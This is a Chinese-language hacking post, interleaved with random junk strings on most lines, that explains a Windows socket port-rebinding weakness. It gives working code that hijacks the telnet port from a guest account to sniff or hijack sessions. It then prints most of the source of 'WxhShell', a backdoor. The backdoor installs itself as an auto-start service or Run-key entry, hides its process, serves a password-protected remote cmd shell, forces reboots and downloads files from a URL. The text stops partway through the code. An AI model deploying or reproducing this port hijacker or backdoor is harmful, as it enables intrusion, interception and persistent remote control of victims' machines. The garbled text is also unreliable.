在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
;MW=F9U* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
sM9N Hwg sd
|c/ayh~ saddr.sin_family = AF_INET;
-IL' (vx {%z5^o1) saddr.sin_addr.s_addr = htonl(INADDR_ANY);
sX(rJLbD *!,k`=.([# bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
@XH@i+{B Gk)6ljL 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
,DCrhk Olr'n% } 这意味着什么?意味着可以进行如下的攻击:
KXcE@q9 !{XVaQ?x 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Cil1wFBb F#|mN0op 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Y~UWUF%aK 20 )8e!jP 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
kj`h{Wc[) K?=g
IC: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
1fV\84m^ -\g@s@5 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
{QIdeB[ ]GzfU'fOn| 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
#wF6Wx iG OJs
s 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
n&FRjq9y -V:7j8 #include
2MDY nMy #include
A~8-{F 31 #include
!-8y;,P #include
0~cbB DWORD WINAPI ClientThread(LPVOID lpParam);
HCa EETk5 int main()
sDXQ{*6a {
D#11
N^-K WORD wVersionRequested;
|k)Nf+(}W
DWORD ret;
78E<_UgcB WSADATA wsaData;
}nWW`:t kx BOOL val;
W<H<~wf# SOCKADDR_IN saddr;
#a!qJeWm0 SOCKADDR_IN scaddr;
K}Lu1:~ int err;
(E \lLlN SOCKET s;
S~{}jvc SOCKET sc;
}M${ _D int caddsize;
NJ(H$tB@ HANDLE mt;
YF13&E2`\ DWORD tid;
<X]dR
6FT wVersionRequested = MAKEWORD( 2, 2 );
gm}zF%B" err = WSAStartup( wVersionRequested, &wsaData );
6"V86b0)h} if ( err != 0 ) {
A )xfO- printf("error!WSAStartup failed!\n");
Uy$?B"Z return -1;
9j$ J}=y }
s5oU saddr.sin_family = AF_INET;
yu=(m~KX
Y NG S"3F //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
D=~3N S{JBV@@tC saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
-nk0Q_7N saddr.sin_port = htons(23);
p;LF-R if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:JzJ(q/ {
''B}^yKEW printf("error!socket failed!\n");
@;{iCVW return -1;
Ryi%}! }
L_fiE3G|> val = TRUE;
X1GM\*BE //SO_REUSEADDR选项就是可以实现端口重绑定的
nY_+V{F if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
>\>!Q V1@ {
k
E-+#p printf("error!setsockopt failed!\n");
>>0c)uC|W return -1;
,kE"M1W }
TuzH'F //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
yo#fJ` //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
# |,c3$ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
NV9H"fI ` MXGEJF if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
@%[
VegT {
r#WAS2.TP ret=GetLastError();
r~T3Ieb printf("error!bind failed!\n");
41\V;yib return -1;
?.,2EC=+ }
w(nQ:;oC listen(s,2);
Y !AQ7F while(1)
(?~*.g! {
\_3#%%z caddsize = sizeof(scaddr);
A]OVmw //接受连接请求
*@[+C~U sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
"$|ne[b2 if(sc!=INVALID_SOCKET)
/w:~!3Aj0+ {
SgY\h{{sP mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
q@Sj$ if(mt==NULL)
yx/.4DW1Ua {
2R`}}4<Z printf("Thread Creat Failed!\n");
s%t =*+L\ break;
*gN)a%9 }
NU!B|l }
O:W4W=K CloseHandle(mt);
d# q8- }
GsC4ty closesocket(s);
ri1:q.:I] WSACleanup();
TS;?>J- return 0;
^|=3sJ4[U }
3Uni{Z]Q) DWORD WINAPI ClientThread(LPVOID lpParam)
fnudu0k {
Q#*Pjl SOCKET ss = (SOCKET)lpParam;
$rz'Ybs SOCKET sc;
hOIk6}r4X unsigned char buf[4096];
)n1 7}Qm`V SOCKADDR_IN saddr;
"6o5x&H long num;
C/A~r DWORD val;
#nJ&`woZt DWORD ret;
"QCVi R //如果是隐藏端口应用的话,可以在此处加一些判断
w}``2djR'W //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
S$Fq1 saddr.sin_family = AF_INET;
7VAet saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Zcxj.F(, saddr.sin_port = htons(23);
KZ/2#` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
g(F? qP_K {
>O}J*4A>+# printf("error!socket failed!\n");
B;xGTl@8 return -1;
"3:TrM$|A
}
Z1M{5E val = 100;
%R LGO& if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
f2RIOL, {
uM('R;<^ ret = GetLastError();
?FwjbG< return -1;
Af7&;8pM }
HU+zzTgI if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
wT-@v,$ {
rgXD>yu( ret = GetLastError();
^Ts8nOGMh return -1;
J9yB'yE8 }
?u_O(eg if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Rz!! ;<ye8 {
ELQc:
t
-2 printf("error!socket connect failed!\n");
odC}RdN closesocket(sc);
+a((,wAN2 closesocket(ss);
?<-ins return -1;
oY0`igH }
f3HleA&& while(1)
MuQ'L=i J {
Yq0=4#_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
'K|tgsvgme //如果是嗅探内容的话,可以再此处进行内容分析和记录
iZDZ/hohv //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
N3rQ]HZiP num = recv(ss,buf,4096,0);
7c.LyvM if(num>0)
lM-*{<B send(sc,buf,num,0);
2@#`x"0 else if(num==0)
"=\@
a= break;
.>{I S4 num = recv(sc,buf,4096,0);
Bwg\_:vq if(num>0)
1rQKHC:| send(ss,buf,num,0);
S K7b]J> else if(num==0)
'or8CGr^p break;
!`EhVV8u-_ }
)NCkq~M closesocket(ss);
'ai!6[|SD closesocket(sc);
DX%D8atrr return 0 ;
{Qr0pjE7R }
[p[C45d=< vQIN#;m4 Jdp@3mP
==========================================================
<tp#KZE u.Z,HsEO b 下边附上一个代码,,WXhSHELL
@O%d2bgEWV ;IYH5sG{ ==========================================================
KK4"H]!. WYNO6Xb#: #include "stdafx.h"
f:|O);nM hXx. #include <stdio.h>
?\$\YX%/p #include <string.h>
KL\]1YX #include <windows.h>
a#G]5TZ #include <winsock2.h>
Ps_q\R #include <winsvc.h>
S|?Ht61k #include <urlmon.h>
&b7i> () +Jv*u8T' #pragma comment (lib, "Ws2_32.lib")
*.ZU" 5e #pragma comment (lib, "urlmon.lib")
aR~Od Ys Oe[qfsdW #define MAX_USER 100 // 最大客户端连接数
jJDYl( [ #define BUF_SOCK 200 // sock buffer
.&Ok53]b #define KEY_BUFF 255 // 输入 buffer
xRU ~hQ 4%L-3Ij #define REBOOT 0 // 重启
t=Um@;wh #define SHUTDOWN 1 // 关机
q=40l 1-bQ
( - #define DEF_PORT 5000 // 监听端口
n%YG)5; 1_z6O!rx #define REG_LEN 16 // 注册表键长度
b[_${in: #define SVC_LEN 80 // NT服务名长度
5};$>47m .A2u7*h& // 从dll定义API
\<R.F
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
3 @7<e~f typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
-d8||X[ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
M?fRiOj typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
HAr_z@#E }.R].4gT // wxhshell配置信息
(&a<6k struct WSCFG {
WgK |r~ int ws_port; // 监听端口
:xP$iEA`G char ws_passstr[REG_LEN]; // 口令
w(xRL#% int ws_autoins; // 安装标记, 1=yes 0=no
5Si\hk:o char ws_regname[REG_LEN]; // 注册表键名
Vt!<.8&` char ws_svcname[REG_LEN]; // 服务名
_noQk3N char ws_svcdisp[SVC_LEN]; // 服务显示名
\"u3x.! char ws_svcdesc[SVC_LEN]; // 服务描述信息
A->y#KQ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
'F[ C 4 int ws_downexe; // 下载执行标记, 1=yes 0=no
}&mFpc char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ef;Ta|# char ws_filenam[SVC_LEN]; // 下载后保存的文件名
ttK`*Ng X)TUKt };
KZxA\,Y'5 _,i+gI[ // default Wxhshell configuration
yw(E} struct WSCFG wscfg={DEF_PORT,
Mn=5yU "xuhuanlingzhe",
+.b@rU6H 1,
)5Bkm{v3 "Wxhshell",
BOQeP/> "Wxhshell",
_2,eS[wP "WxhShell Service",
<?I s ~[2 "Wrsky Windows CmdShell Service",
u70-HFI@ "Please Input Your Password: ",
pM i w9} 1,
F}lgy;=h "
http://www.wrsky.com/wxhshell.exe",
l< y9ue= "Wxhshell.exe"
*I(g~p };
Ph&fOj=pFb Sp]i~#q_' // 消息定义模块
P;dp>jL char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
.u_k?.8| char *msg_ws_prompt="\n\r? for help\n\r#>";
_ x.D< n=X char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
g}-Ch# char *msg_ws_ext="\n\rExit.";
P"g
Y|}| char *msg_ws_end="\n\rQuit.";
CY4_= char *msg_ws_boot="\n\rReboot...";
|= frsf~? char *msg_ws_poff="\n\rShutdown...";
;|hEXd?b char *msg_ws_down="\n\rSave to ";
B!(t<W8cu B
az:N6u char *msg_ws_err="\n\rErr!";
7(<49bb.V char *msg_ws_ok="\n\rOK!";
=!#iC?I 0KF)+`CC> char ExeFile[MAX_PATH];
,ZYj8^gF int nUser = 0;
#89h}mp' HANDLE handles[MAX_USER];
ZQ^kS9N i int OsIsNt;
$nOd4{s_ F)0I7+lP SERVICE_STATUS serviceStatus;
YORFq9a{R SERVICE_STATUS_HANDLE hServiceStatusHandle;
Z`?<A da x,Cc$C~YP // 函数声明
4R U1tWQ% int Install(void);
8O]U&A@ int Uninstall(void);
4nhe *ip int DownloadFile(char *sURL, SOCKET wsh);
t|X |67W int Boot(int flag);
sJlX]\RLQ void HideProc(void);
mF>CH]k3 int GetOsVer(void);
k"P2J}4eO int Wxhshell(SOCKET wsl);
F$K-Q;r]< void TalkWithClient(void *cs);
Z w5\{Z0 int CmdShell(SOCKET sock);
9rb/h kX& int StartFromService(void);
~EU[? int StartWxhshell(LPSTR lpCmdLine);
f$E66yG ~PNO|]8j VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
?CS
jn VOID WINAPI NTServiceHandler( DWORD fdwControl );
kCR)k=* F GOa!G // 数据结构和表定义
!40t:+I SERVICE_TABLE_ENTRY DispatchTable[] =
I`%=&l[v_5 {
wYf=(w\c {wscfg.ws_svcname, NTServiceMain},
]
%*970 {NULL, NULL}
H&L=WF+x };
UZdE^Q[ oT5xe[{yj // 自我安装
Ss u{Lj int Install(void)
TKc&yAK {
ED/-,>[f char svExeFile[MAX_PATH];
Ar sMqb HKEY key;
34C
^vBp strcpy(svExeFile,ExeFile);
LIH>IpamN J1<fE(X // 如果是win9x系统,修改注册表设为自启动
JXeqVKF if(!OsIsNt) {
1V`]sfRK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-aNTFt~|[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9ok|]d P RegCloseKey(key);
R7KQ-+Zb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(Df<QC`0v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ZW2#'$b RegCloseKey(key);
K74oRKv return 0;
GtO5,d_ }
!9"R4~4 }
p _e-u- }
U!a"r8u|8q else {
`OQ&u Ut-6!kAm // 如果是NT以上系统,安装为系统服务
>B~jPU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
y`Pp"!P"O if (schSCManager!=0)
~~1~ _0?e {
~+>M,LfK SC_HANDLE schService = CreateService
wZa;cg.-q (
(r[<g*+3 schSCManager,
U>;itHW/ wscfg.ws_svcname,
?<frU ,{ wscfg.ws_svcdisp,
T *t$ SERVICE_ALL_ACCESS,
/^[)JbgB SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
H>XbqIkL@ SERVICE_AUTO_START,
%Z{J= SERVICE_ERROR_NORMAL,
~v>w%] svExeFile,
CHpDzG>]4 NULL,
%,,h )9 NULL,
t=\V&, NULL,
%Y Rg1UKY NULL,
*Kzs(O NULL
&`L5UX );
s*CKFEb# if (schService!=0)
)+t5G>yKK {
vB4cdW
2#3 CloseServiceHandle(schService);
ap%o\&T; CloseServiceHandle(schSCManager);
]bnxOk strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Ql*/{#$ strcat(svExeFile,wscfg.ws_svcname);
z3*G(, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
=w A< F RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0v7;ZxD RegCloseKey(key);
2K*-uT#$~ return 0;
IVNNiNN*5 }
paBGJ~{= }
el|t6ZT* CloseServiceHandle(schSCManager);
~POeFZ }
^}1RDdQ"U }
oh@r0`J]x 3`9*Hoy0c return 1;
PYHm6'5BtB }
"(efd~.] x#8=drh.:C // 自我卸载
,t+ATaOF int Uninstall(void)
Ok`U*j {
)vU{JY; HKEY key;
Ic=V: 3sZK[Y|ax if(!OsIsNt) {
uBE,z>/,; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Y|VzeJC RegDeleteValue(key,wscfg.ws_regname);
1M;)$m: RegCloseKey(key);
.sG,TLE[< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ONjc},_ RegDeleteValue(key,wscfg.ws_regname);
O[L8(+Sn RegCloseKey(key);
'6 'XBL? return 0;
{hg$?4IyQ }
c&Zm>Qo[
}
g?$9~/h :; }
}"&(sYQ*` else {
Ro1' L1:
^,KR 0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
FoG<$9 if (schSCManager!=0)
5nj~RUK {
b<( W}$x SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
zBs7]z!eP if (schService!=0)
W"-nzdAJ5 {
CXQ?P if(DeleteService(schService)!=0) {
8S02
3 CloseServiceHandle(schService);
`2fuV]FW CloseServiceHandle(schSCManager);
E7h}0DX return 0;
wKeqR$ }
yY| . CloseServiceHandle(schService);
3QHZC0AY }
{PVu3W CloseServiceHandle(schSCManager);
,){0y%c#y }
$Tur"_`I; }
.E}});l aXJe"IT.u return 1;
Y@4vQm+ }
XP` kf]9 v4zd
x) // 从指定url下载文件
5,c` int DownloadFile(char *sURL, SOCKET wsh)
u9gr@06 {
*"CvB{XF&Z HRESULT hr;
lhI;K4# char seps[]= "/";
k`AJ$\= char *token;
>gSerDH8\ char *file;
~+np7 char myURL[MAX_PATH];
".0W8= char myFILE[MAX_PATH];
H\k5B_3OU Na6z,TW strcpy(myURL,sURL);
YiCDV(prT token=strtok(myURL,seps);
$ B9=v while(token!=NULL)
=@w:
{
J9 =gv0 file=token;
bvx:R ~E$ token=strtok(NULL,seps);
%pp+V1FH }
~?&ijhZ G'py)C5; GetCurrentDirectory(MAX_PATH,myFILE);
JJ~?ON.H strcat(myFILE, "\\");
_)l %-*Z7p strcat(myFILE, file);
gCJ'wv)6|% send(wsh,myFILE,strlen(myFILE),0);
yn#h$o< send(wsh,"...",3,0);
A%PPG+IfA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
m%V[&"5%e if(hr==S_OK)
:z\f.+MI return 0;
CN=&Je%I else
~ tLR return 1;
_'7/99]4g} :65HMWy. }
f$>orVm%.
m#nxw // 系统电源模块
cBI)? int Boot(int flag)
%8L<KJd {
0uz"}v) HANDLE hToken;
Rpk`fxAO TOKEN_PRIVILEGES tkp;
`"H?nf0 jVINc=o if(OsIsNt) {
K*Jtyy}r OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
K|G$s LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ja;5:=8A5 tkp.PrivilegeCount = 1;
n{t',r50 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
'| }}og AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
_o.Z`] if(flag==REBOOT) {
4iz&"~&1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
MQ*#oVqv return 0;
DH
!Br }
S
|x)7NC else {
0'hx w3# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
a+/|O*># return 0;
X6.O; }
:xPvEK[B7 }
TyWy5J<
:+ else {
?X'*
p<` if(flag==REBOOT) {
?i~/gjp
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
}BJ1#< return 0;
5Mr;6
]I< }
$ t $f1? else {
=.E(p)fz if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
*$(CiyF! return 0;
@(c<av? }
@S7=6RKa[ }
H040-Q;S' :
xZC7" return 1;
w.aFaR)04 }
{0e{!v ~It+|X=Kx // win9x进程隐藏模块
M:M>@|) void HideProc(void)
n ;5?^Un% {
LtztjAm. uAs*{:4n HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
LH#LBjOZk if ( hKernel != NULL )
l :Nxl {
t4/eB<fP pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
_-\s[p5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
ZPsY0IzLo FreeLibrary(hKernel);
&t/<yq}{ }
9yo[T(8 %`QsX {?, return;
;lH,bX~5 }
)m8>w6" rp#*uV9; // 获取操作系统版本
X&s\_jQ int GetOsVer(void)
a{HgIQg_>R {
(eG]Cp@ OSVERSIONINFO winfo;
R6Mxdm2P} winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
W 'a~pB1I GetVersionEx(&winfo);
4sBoD=e if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8.Ef 5-m return 1;
?gwbg* else
m=\eL~h return 0;
ev%t5NZ }
d4>-a^)V |D`b7h // 客户端句柄模块
Y"kS!!C>[ int Wxhshell(SOCKET wsl)
UT<bv}(J {
Qz) 8eIO: SOCKET wsh;
0D3+R1>_D struct sockaddr_in client;
wT~;tOw~ DWORD myID;
,DuZMGg s<_LcQbt{ while(nUser<MAX_USER)
[RFK-E {
?VZXJO{^ int nSize=sizeof(client);
(vsk^3R[6 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
}0*ra37z> if(wsh==INVALID_SOCKET) return 1;
sq(Ar(L< }t
D!xI; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
8N*
-2/P& if(handles[nUser]==0)
5rA!VES T closesocket(wsh);
wu!_BCIy else
G\>\VA nUser++;
+.#S[G }
`J#xyDL6? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
l[ ": tG a]Da`$T return 0;
uM)9b*Vbo }
n+\Cw`'<H 1X"H6j[w // 关闭 socket
^$+f3Z' void CloseIt(SOCKET wsh)
|@L &yg,x {
%r closesocket(wsh);
7R<u=U nUser--;
RQS:h]?:l ExitThread(0);
m)|.:sj }
ZYR,8 y Hv gK_' // 客户端请求句柄
zHoO?tGf void TalkWithClient(void *cs)
{iIg 4PzrU {
yCkW2p]s,K %{~mk[d3 SOCKET wsh=(SOCKET)cs;
-?w v}o char pwd[SVC_LEN];
%Di7u- x char cmd[KEY_BUFF];
ds$ \vSd char chr[1];
ssX6kgq_( int i,j;
@)Hbgkdi zGL<m0C while (nUser < MAX_USER) {
2mG&@E hXQg=Sj if(wscfg.ws_passstr) {
?^48Zq6wM if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>RL6Jbo| //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`k{ ff //ZeroMemory(pwd,KEY_BUFF);
w[YkTv i=0;
v`+n`DT while(i<SVC_LEN) {
_2gT1B jU4)zN/`r // 设置超时
Q$.V:# fd_set FdRead;
)_Xxk_ struct timeval TimeOut;
H&yFSz}6a FD_ZERO(&FdRead);
~b$z\|Y FD_SET(wsh,&FdRead);
xL39>PB TimeOut.tv_sec=8;
^I'Lw TimeOut.tv_usec=0;
)>/j&>% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
^tg6JB;s if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
!: EW21m t=W$'*P0} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Ca5Sc, no pwd
=chr[0]; WrHgF*[
if(chr[0]==0xd || chr[0]==0xa) { [Z5}2gB&
pwd=0; \p3nd!OIG
break; PD}SPOA`U3
} + 1+A3
i++; =2g[tsY
} =JbdsYI(
Ic{'H2~4,
// 如果是非法用户,关闭 socket B=q)}aWc
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Jp.3KA>
} >xU72l#5
lN)Y
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gB{]yA"('
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vA2,&%jw
xu"94y+
while(1) { 0XR;5kd%
Wp7@
ZeroMemory(cmd,KEY_BUFF); P$(WdVG
QSn;a 4f
// 自动支持客户端 telnet标准 [TbG55
j=0; zqvRkMWc M
while(j<KEY_BUFF) {
M\y~0uZ
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HoIKx_
cmd[j]=chr[0]; s;-78ejj7
if(chr[0]==0xa || chr[0]==0xd) { +YQ~t,/
cmd[j]=0; FU]8.)`G
break; hk7(2j7B
} y?Hj%,
j++; w8ZHk?:
} Y>78h2AU
o&hKg#nO83
// 下载文件 *3.yumcv{L
if(strstr(cmd,"http://")) { I!F}`d
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 75\RG+kQ
if(DownloadFile(cmd,wsh)) 4+/fP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x ^M5D+o
else 0gv3v@QO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cYq']$]
} vR%j#v|s
else { ]5o0
_A;vSp.`
switch(cmd[0]) { eN<>#:`
`Ct'/h{
// 帮助 %?]{U($?
case '?': { [Hv*\rb
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [D<RV3x9
break; 'B:Z=0{>N
} !7mvyc!'!
// 安装 k\+y4F8$x
case 'i': { u@=+#q~/P
if(Install()) Q*09E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cotxo?)Zv
else o;M.Rt\A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |n|U;|'^
break; -!'Oy%a#
} }J+ce
// 卸载 %jbJ6c
case 'r': { *2 qh3
if(Uninstall()) _S9rF-9G]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q9W~7
else .q5J^/kr
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;xW8Z<\-
break; #Dj"W8'zh
} ?Kx6Sf<i
// 显示 wxhshell 所在路径 95.qAFB1
case 'p': { cW81
char svExeFile[MAX_PATH]; R/ALR
strcpy(svExeFile,"\n\r"); };|!Lhl+
strcat(svExeFile,ExeFile); *<`7|BH 3
send(wsh,svExeFile,strlen(svExeFile),0); TRs[ ~K)n
break; LPq*ZZK
} O3^98n2
// 重启 ^ [X|As2
case 'b': { m%e^&N#%6r
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KXoL,)Hl
if(Boot(REBOOT)) 5 `4}A%@&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kP!%|&w;
else { IZ4W_NN
closesocket(wsh); Nk lz_]
ExitThread(0); (l\a '3a.
} ?o2;SY(-
break; l 8O"w&
} d u.HSXK
// 关机 )LkM,T
case 'd': { l?3vNa FeR
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %/{IssCR7
if(Boot(SHUTDOWN)) g8%MOhg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !7A"vTs
else { 3c01uObTL
closesocket(wsh); +IwdMJ8&8
ExitThread(0); IV)^;i
} 1U717u
break; 4^
c!_K&&
} kmZ.U>#
// 获取shell l\K%
case 's': { n?y'c^
CmdShell(wsh); BhqhyX\D&y
closesocket(wsh); ?cqicN.+6
ExitThread(0); !a' K &
break; 8# 6\+R
} Kg4QT/0VA
// 退出 _L$)2sl1R
case 'x': { LiiK3!^i
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eeZIa`.sX
CloseIt(wsh); i?ZA x4D
break; 6{5q@9F
} W\HLal
// 离开 ^Ku\l #B
case 'q': { A;odVaH7
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Bx+d3
closesocket(wsh); 3Z_t%J5QZ$
WSACleanup(); =Nw2;TkB[
exit(1); [m~b[ZwES
break; 0LS-i% 0
} >g>?Y G
} BTOA &Ag
} AnRlH
^gd<lo g
// 提示信息 +H41]W6
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )X7e$<SU*
} PoJmW^:}
} l+t #"3
^SEc./$
return; :lNg:r$4
} I"B8_
5f8"j$Az
// shell模块句柄 >J.Qm0TY(
int CmdShell(SOCKET sock) Dh2#$[/@1
{ oBb?"2 ~9
STARTUPINFO si; \$j^_C>
ZeroMemory(&si,sizeof(si)); mU>&ql?e
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]+mjOks~
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p7s@%scp
PROCESS_INFORMATION ProcessInfo; ;8BA~,4l
char cmdline[]="cmd"; y">fN0{<
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X R4 )z
return 0; F#B5sLNb
} !z?0 :Jg
?<!
nm&~
// 自身启动模式
O)O Uy
int StartFromService(void) U7E
{ #Gd7M3
typedef struct m*`cuSU|o
{ p'gb)nI
DWORD ExitStatus; un6cD$cHr
DWORD PebBaseAddress; 3B;}j/h2
DWORD AffinityMask; TMqY4;UeL
